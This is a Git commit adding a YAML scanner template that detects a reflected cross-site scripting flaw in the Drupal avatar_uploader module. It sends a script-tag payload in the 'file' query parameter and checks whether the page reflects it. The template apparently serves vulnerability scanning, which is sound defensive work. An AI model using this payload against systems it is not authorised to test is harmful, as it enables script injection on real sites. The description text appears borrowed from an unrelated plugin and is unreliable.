Create Drupal-avatar-xss.yaml

patch-1
Ritik Chaddha 2022-07-06 23:10:05 +05:30 committed by GitHub
parent 4128f7f554
commit f7b10ecf9f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: Drupal-avatar-xss
info:
name: Drupal avatar_uploader v7.x-1.0-beta8 - Cross-Site Scripting(XSS)
author: bywalks
severity: medium
description: |
This plugin creates a avatar_uploader from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
reference:
- https://www.exploit-db.com/exploits/50841
tags: xss,drupal
requests:
- method: GET
path:
- "{{BaseURL}}/avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<div><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200